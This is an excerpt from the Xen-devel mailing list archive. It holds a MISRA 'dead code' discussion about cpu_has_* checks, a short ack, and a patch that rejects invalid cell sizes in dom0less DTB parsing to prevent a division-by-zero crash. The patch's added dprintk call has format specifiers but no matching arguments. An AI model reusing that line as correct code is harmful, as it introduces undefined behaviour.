>> with us never enabling ISA bits in guest policies which the underlying
>> hardware doesn't support, the dual checks aren't needed anymore. In fact
>> in Misra terms they are dead code.
> 
> This absolutely cannot be called dead code, MISRA or otherwise.
> 
> We have a bunch of logic which is checking for A && B.Â  A and B are
> distinct objects in memory, with A always being evaluated, B being
> conditionally evaluated, and both having input into the final calculation.
> 
> We believe that in all cases, A has the same value as B, and therefore
> the logic can be simplified to just B, but that is a logical leap, not a
> transformation that any tooling can make.

Well, however much I agree with you, Misra's terminology defines "dead
code" thus: "Any operation that is executed but whose removal would not
affect program behaviour constitutes dead code." The removal of the
cpu_has_* checks here does not affect program behavior, so as per Misra
they are "dead code". Eclair would have a hard time spotting such, of
course.

>> In turn, a number of cpu_has_* can then also go away, when their only user
>> was the emulator code.
>>
>> Signed-off-by: Jan Beulich <jbeulich@suse.com>
>> ---
>> In my build (with all the other pending work in place) this is a savings
>> of about 2k of generated code.
>>
>> A related question is in how far vcpu_has_*() are useful to retain. We
>> could as well access the policy directly, which would even be more
>> efficient when a "cp" local variable (or function parameter) is in scope.
>> Then x86_emulate()'s instance could also have its __maybe_unused dropped.
> 
> You'd need the test harness able to use a struct cpu_policy in order to
> drop vcpu_has_*().Â  It's doable, but isn't a small change.

vcpu_has_*() are already shared between Xen and the harnesses. A CPU policy
is also already in use everywhere. So I fear I don't understand what you're
trying to point out.

>> With the cpu_has_* being dropped I came to wonder why we have e.g.
>> cpu_has_lkgs. This particular one was added together with cpu_has_fred,
>> yet imo we better wouldn't add such #define-s when they're not going to be
>> used.
> 
> Older versions of the FRED series checked for cpu_has_fred &&
> cpu_has_lkgs, but I dropped the latter on discovering that Xen didn't
> need an LKGS instruction at all.
> 
> I think I will need in order to get the guest policies working
> correctly, so please don't drop it yet.

Sure, I had no immediate plan to do so. Such removal wouldn't belong here.

Overall - what does your reply mean for the patch itself? You don't point
out any change that would need making, yet you also didn't offer an ack.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:34:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:34:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357995.1612292 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whn0y-0005YC-6K; Thu, 09 Jul 2026 11:34:00 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357995.1612292; Thu, 09 Jul 2026 11:34:00 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whn0y-0005Y5-2B; Thu, 09 Jul 2026 11:34:00 +0000
Received: by outflank-mailman (input) for mailman id 1357995;
 Thu, 09 Jul 2026 11:33:59 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whn0x-0005Xy-0L
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:33:59 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whn0w-00DOmn-C5
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:33:58 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8722-e002-0a2a0a5209dd-0a2a4507aba6-30
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:33:58 +0200
Received: from [52.101.83.103]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8725-9c8e-0a2a45070019-3465536760b3-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:33:58 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by AS4PR03MB8460.eurprd03.prod.outlook.com (2603:10a6:20b:51b::15)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 11:33:56 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 11:33:56 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=oMFBaY9wN5ZuFpndd3fftTQd8O8gyNTvsx34lcZa71uViXg5OyjrWAUKG0CIzjV+9GQTAkO0zJs55P0A8eVx6Zez76aFeWX20+TCNGYz+LWO/YU7IW6WETobR2/SCJvZc+/C0DeTa7RwzQ62Riawz557R2a2gvADP1HyByH3ImwXen2o1hJtnmcx2e+2sM75sZOAMeNxiT8QZPXX3sB+Nbj5uBY8HXcMXMMg07sS3gFX7FuVM9kzCkFd1nzP/DnahIx1AkwsAqiWCqPpxj+PAmCqIY26f1U4s9Ui6isCwdpxin2eIkAif4mWlryp28VudKK3Cw7ECNR/1k46tx4QHA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=On/+6T5e7fGEGXhL0HOug9LevHHShkMwKJfWSqo7x8w=;
 b=g8qUwwizT2dfKPnJLXPHwBDHJadR7+6fBsOV5spauOcan3SoCaNE/KsGeswNNhKmNj+p2d0kVXOejTMfkDz1D1Em+z9rn7jMYoyohcuVW4iNEjRUkuGcBk/8aIY/D/x4+KzJ7ySSJDPfBM8OQsKkKLpY6/3cds2vubV6DHcRk9GfQwE2kAeA9tPzSvYPyV2uprtImhCswjdDAR90/1rD7kr5EDfyrCQsLI9L+x7vGDI3SaZHjp9IWNk4H9VTZxjr6aKdeC44+/dUgsrY0KBeVamzAsnMkL1L2zmf6tZpr13UUFIpuuadYUOYF0LEhMwMXygANklMz3J4Ac0XFXJ4hg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=On/+6T5e7fGEGXhL0HOug9LevHHShkMwKJfWSqo7x8w=;
 b=Ev9lEgwGD0P9mO8twqM2uGf1LtiCycGsH/x9GYKPQ6m8TSL9WCQAqclTeRSdIjFp6cqpdQjYuRgwPiQirZLxt9H8NWboWtzVU2v1D58uymqQwzPofFc5EF1R1CU6sGHHOL2L2lV0t6Vjd+Tuwbra2rQGrCHwEVvJXK0HFUmcL7HoVmzs7+9rwDVYyfmcQ2KLf+ezRpPjLFgmwH3vX3v9h+vS6ncz9+D9qV/H4PrhgBabdwyL8rHJNi5lcirfuMmyowvSul0vcgVvPKgGcDVW2u9WlQYpsMoZ3+iW7ZY6Do7I26bJVEq9pOb98eSIHfAc/gHg07nhU0e6ednIvWoIFg==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: Jan Beulich <jbeulich@suse.com>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH] generic/altp2m: address violations of MISRA C Rule 2.1
Thread-Topic: [PATCH] generic/altp2m: address violations of MISRA C Rule 2.1
Thread-Index: AQHcyEeH3FAPJgz8C0q4McY6u5ZElbXXzxqAgHMEWQCAGq9yAIAADjEAgAAMAIA=
Date: Thu, 9 Jul 2026 11:33:56 +0000
Message-ID: <3c6a807d-6c5f-483a-8887-e91c992139bd@epam.com>
References:
 <8b5ca213a097f7b221b06b6173e4621563779a73.1775752149.git.dmytro_prokopchuk1@epam.com>
 <3b2daddd-9afc-4c75-92c0-f7c6ace3f735@suse.com>
 <d6dcde3d-99eb-4fa3-9078-a13e35c8a1b4@epam.com>
 <b0738b79-2a9f-4571-8465-bfb00123300f@epam.com>
 <fc7508e4-2170-4928-9fca-060d7c6f4863@suse.com>
In-Reply-To: <fc7508e4-2170-4928-9fca-060d7c6f4863@suse.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|AS4PR03MB8460:EE_
x-ms-office365-filtering-correlation-id: b05c60dc-408b-4bbb-beca-08deddadf60d
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|23010399003|376014|42112799006|1800799024|38070700021|22082099003|18002099003|4143699003|6133799003|56012099006|11063799006;
x-microsoft-antispam-message-info:
 UWGzDmjONzpT3nmHBo4BHwvduoNFO3YPNlKOEDcDNGMiYvW+p4ZVwI+crcPxz337rc/l82liOmSZ3ttv6iQuem9NF/mSxeX5xfOVVq7Ay97POPLQp0WT1vweyy0tVAZinBeMCxVdZL0LgNjry+ki8XKPO/piSm+8ZpWuQg/aQV24DYalATKbQxEKZzSJUzcek3Fnv07EPcUXih0kPkMWpx1stHL557ugx/vc5Za5iRRJArIVEQ/cMKzHD5ZL5h6DFTiLkMHGZIjlmPJBiihsaonDr1SmAa9UUro6jggtcng0U04YDyGrD5MMmL+fUMMgML3VeCu1zipihugobMB1uzg+Iz+XRat517OKKESk1kBZov9GqskexDh8dsQKWr2QZ/xZA8Wxh1bTLYYJ20fk5PQCVIareGSXcMcqDbSZ9y95tV4cDnh8CA28axpWLx1cd00x1iNsmZZSvG4QBacCVLYR9l5qtpAg16A1XKT+Xkp+GsPB7VOl7Mxh8b/mzJqfyBQi3vYmLSGI6TfSY9JOnpeIa7D52J9jPAK+SR/SrIjPmrmkySwQD7q3jlLDigCQU7CKcqe4ohhxHN0EXCITQCvApOUsSVQ4oLui2YsLfJSkqXzjD6aSanWSME52pEmT9+z/IJTrU66yYa5Q/i71YVQrFL057oZ0PbqSaUPiaaTK7YixwEXikzUvVfbBEyodrdZSaBdqYa24wOriNKzeug==
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(376014)(42112799006)(1800799024)(38070700021)(22082099003)(18002099003)(4143699003)(6133799003)(56012099006)(11063799006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?YjRMYUFENXRqQlZOMGNEOGx2TkxPMFZGUGJUZFJaVEdMRGdGbkFFWmVjZTFX?=
 =?utf-8?B?T3VpekxBTldwNm5FSUFVU1VZcktXdE5ybEhMTG5QbGY4ZEpEVkUweGg0RlRz?=
 =?utf-8?B?dERpQ0thdzc2ZkRWRFVjWU5WK3ZKV09ZSkZOWHAyNVVPanFyT21wczRJbFNT?=
 =?utf-8?B?a3VTeXllaTVtbEdhWGJacWZoSjNWdVJDdWRpeEJkclFvKy8wMjVwOVZHT3Yz?=
 =?utf-8?B?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95Uk55ZFR6U1Qz?=
 =?utf-8?B?Qzl5ZjJpdk5MNzR5QlZTSmxSQjRyc1dQaUcvc1NyVmdPVmQ4Q3dpMHFQQlRG?=
 =?utf-8?B?Y1NrMHFJL1BaSUZnSFVHeWlIcjJPYzdvUm15SU9iNjAySUw4TUViLytuTEV6?=
 =?utf-8?B?TUFxZ3lGSkFCZmZ5TVRMQ2pjWEVFWUVTZ0FJY3RMbXVrRzJZNFQwckp2T0pF?=
 =?utf-8?B?MEEwYnYvNWoxR2FGZW5GeUxxN3MyU0Q5TEpTb3NJWmd5L3FGTGRsNlpqL2h2?=
 =?utf-8?B?RG9GRW9xYW5ROXhod1E4SnUvcFhOMnI4NXBxaXZsMWRwYnc5NndQWmtnMWp5?=
 =?utf-8?B?bUNyMlFlMnBOOE0rUzk0SjczMDNFY2FBcmtRTkc1Z2xtOGR0T2k0NEZUTWpl?=
 =?utf-8?Q?WderIK69xeLoqoHM=3D?=
Content-Type: text/plain; charset="utf-8"
Content-ID: <0A68074EE4B07F4C84D3B483B2B8A555@eurprd03.prod.outlook.com>
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: b05c60dc-408b-4bbb-beca-08deddadf60d
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 11:33:56.0302
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: KrOhJkR9xRGatTz+lXYPijfDjtujAqqczVzZ5jr8BZ+aldl2THj4jOs+WS7YphV6PuT6s3OcHfM9szkb+qHQ2+ErVaPrS5BccH+9TDoSiXY=
X-MS-Exchange-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4gDQo+IEph
bg0KDQpBY2suDQpJJ2xsIHN1Ym1pdCBhIG5ldyB2ZXJzaW9uLg==


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:48:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:48:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358014.1612301 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnEZ-0007Pj-Dh; Thu, 09 Jul 2026 11:48:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358014.1612301; Thu, 09 Jul 2026 11:48:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnEZ-0007Pc-Az; Thu, 09 Jul 2026 11:48:03 +0000
Received: by outflank-mailman (input) for mailman id 1358014;
 Thu, 09 Jul 2026 11:48:01 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whnEX-0007PW-Jq
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:48:01 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnEX-00BXmZ-06
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:48:01 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8a64-bab6-0a2a0a5309dd-0a2a4509e574-40
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:48:00 +0200
Received: from [52.101.70.130]
 (helo=AS8PR04CU009.outbound.protection.outlook.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f8a70-97e6-0a2a45090019-346546826ea7-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 13:48:00 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by DU4PR03MB11119.eurprd03.prod.outlook.com (2603:10a6:10:5f2::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 11:47:58 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 11:47:58 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lQA75k9Sk/h1nHVHOD6S+YSUzaxNt6G41OGFeXDyCCYqK550PG5WNVXmdK1nqvL1IF6PkXJbPbG3CY3MpezYlhFrEdTzYglXWJZjeyu50pRgeEm5aFJcImeq7AARE8S4Vr9s3+tgCxt1XEH9DEFTQL2mbKfIQSWbW09CVrMWC3wpB3JK1x5DxPUjMVBryggUwFiYvqFwzNjJqATtEIxys9KQU8i8YTPykMLj4oKWk178o0aDPSomAO1tgKuqTHVOW9LqH13reNWoRlTCsiaIUiwssrmDlB3/jjebIfJGGkzb6+b+1Kj28U3d1lkVONJe3q624AOMhpQQx3lTHX0zZQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=lhXS+HC0sNwJXbPKhcfnfjlNmOwyK7UUE/S0KoD6FdE=;
 b=xPLczhyTCcuvQpv9kWG8zwO0vpfVFm3jFY0szwJQoYcFAf8Lsu1OjrsvyorPmQeWUpJAjnLWsfQjmlwk5FJMVJaWlUkC8HWFpHDxI8Wk13zml0GOKn/xlIxC0qYioojPnr4ho37MK3S2uu/Oc2WkVPyWLfdAMDXlJU2UbihfHa8nHg5TzeaOegW8O4OTgzY7dXMdWqjGNTEBbycZ6zzaFLJ2IEBzWBLJl2Q1KPb8u5wWs7XPZJ9T8QsqdElbYaQiJAbRfmWkn08DSQ8GKoQHoHVeLjDEY8TQ35Jo06A2zA5FEtIXSTyfF6AsjeKRyoeXays0NviYHr8HXYRzKaQRVg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=lhXS+HC0sNwJXbPKhcfnfjlNmOwyK7UUE/S0KoD6FdE=;
 b=sxCHL4ujwUBbmYvi8OIao0FJmgxRm4oxkqPr/hn5yDhwqYfQe2fXR8W1kl5oUZq+T4V5AjggwybLSAEaKy8SPV9NOOBvc9acLqOi9uipEaUqiTSkasck08sZfs/uaXbQOs4xzB4FrrEkR4miGdw5HInQQDO1Y80kIYLj9RI0sFjwDdCX6vlKAp+3HQUVn5WnmXDaCoux4OZJWM8+ZTeN5RwAgG4pDC7ToDe57CyECILwQsVYL9RM7iTFqW4CP/vIhpvTq1VpmLu4JL9uUVad6SNLWIrGy0MUGnCOYbe5UVJGBrn8qf3fLLih4zjCY5WHb8eIzRVcpawj1jpY27JRjw==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>
Subject: [PATCH for-4.22 v4] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v4] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD5jJCDOEjONIbkmZhLZ5uEYFYw==
Date: Thu, 9 Jul 2026 11:47:58 +0000
Message-ID:
 <b31a0f41a52d78091556352c3e961c8238806e0e.1783597523.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|DU4PR03MB11119:EE_
x-ms-office365-filtering-correlation-id: 42e6facc-211c-4279-8295-08deddafec62
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|366016|1800799024|376014|42112799006|23010399003|3023799007|18002099003|38070700021|56012099006|11063799006;
x-microsoft-antispam-message-info:
 nGWBDbZJFIobFaXXC7kSHop4fPAyL0jwhYBphNugJaV86B4roMu/CqtHMJXe0f1v84ONzOTpoCiCgamn8Dd7Whc1OQCq0+5Lnsr+B3uY16v+u/916rwupAqzQ3ln+car7elYKFNtT7cilb4lOYGEafJ2pOHIEBOLV3Qif3io1YB81nVAw8+1qnEeIJjRbnrJbn/YNLW5/8CICvYz9yK8LZU/DFqQfD0b4NWKC7u63nb3kOPyN5cOmcPSJxgQM8MmHkwV2FZr+gdkLnuAXLgwxXdFcuZDUI8Nm+0o/z0U3zghW0B9fj+NYJoDokQpHnYDdODJgxA7xkQfNIqSpoJeNrvQuP+DEG9xhQSm0nQKwgRCQMJV6EeZgLo6JWxVFwwKbz9mhnLLWU53Qfq15uZT3qGdHrNjLQMVhiCbVkHDi6r49G7zC9zD+KHKMjgsIpZnJeK3XgasjPMV4ENGkc9jdlya90hEkI3v0Ig0dGpC/mj+1gR2GlQ0WZN2lzCfzcTnLY3vNxb8gtV4NI/63H+p8x6LZ5kcEqGteUe4fiGym0WWzysCKPDgLjdvuCJBa1ROqxGoRPaMcIc+Mg3I9cyRa27DIof17SoM4DePJ8MN1baHL6Kknl4KCjj+6qU6M/U4jwD1ssOBwEZTVlFyHIfdvbPDX81kdSalJK4niF7JUL5COE1l8C0A/aqET9ZyEiuufzweIBk2GVogiQfUUY0R7zOI585xmulf247zk3n+/iU=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(376014)(42112799006)(23010399003)(3023799007)(18002099003)(38070700021)(56012099006)(11063799006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?oYkh1To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+99a+2LV3MCS7kIQEdz5ns9?=
 =?iso-8859-1?Q?PxFgg5mGNnQi1dDgVyJyMmjI446uUpnOXV3TVR4xwNmz8rt1wgNR2dZMYG?=
 =?iso-8859-1?Q?JCJl1rBs0KyT3h5K8A4MJCm5s1v/hqY=3D?=
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 42e6facc-211c-4279-8295-08deddafec62
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 11:47:58.8013
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: QQi9IitG0cPSgJJL9q326CYaIzcpdpDIIQVpMnxEt4Q8u7sFiDFZYYOSEvIKeUDMLy7hrgEALOkBGGjnMVBLr/NevRnMy0PJzxQRW5IcqUc=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DU4PR03MB11119
X-purgate-ID: tlsNG-bad1c0/1783597680-47731986-1A80EEBB/0/0
X-purgate-type: clean
X-purgate-size: 1982

A malformed partial DTB specifying both '#address-cells =3D <0>' and
'#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when
calculating the number of regions in the 'xen,reg' property inside
handle_passthrough_prop():

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that both 'address_cells' and 'size_cells'
are within the valid range of [1, 2] at the read side in scan_pfdt_node()
immediately after they are parsed. Any invalid cell size combination is
safely rejected early with an error message and return -EINVAL.

Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
Changes in v4:
- put the expressions in brackets
- improve the message as Andrew suggested
---
 xen/common/device-tree/dom0less-build.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..47465a3609 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *k=
info, const void *pfdt,
     size_cells =3D device_tree_get_u32(pfdt, nodeoff, "#size-cells",
                                      DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
=20
+    if ( (address_cells < 1) || (address_cells > 2) ||
+         (size_cells < 1) || (size_cells > 2) )
+    {
+        dprintk(XENLOG_ERR "Invalid address_cells %u or size_cells %u\n");
+        return -EINVAL;
+    }
+
     node_next =3D fdt_first_subnode(pfdt, nodeoff);
     while ( node_next > 0 )
     {
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 11:56:52 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 11:56:52 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1358026.1612310 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnN0-0000gK-6t; Thu, 09 Jul 2026 11:56:46 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1358026.1612310; Thu, 09 Jul 2026 11:56:46 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whnN0-0000gD-3F; Thu, 09 Jul 2026 11:56:46 +0000
Received: by outflank-mailman (input) for mailman id 1358026;
 Thu, 09 Jul 2026 11:56:44 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whnMy-0000g7-8F
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:56:44 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whnMx-00Emew-3n
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 13:56:43 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4f8c73-2eae-0a2a0a5409dd-0a2a4503d59e-16
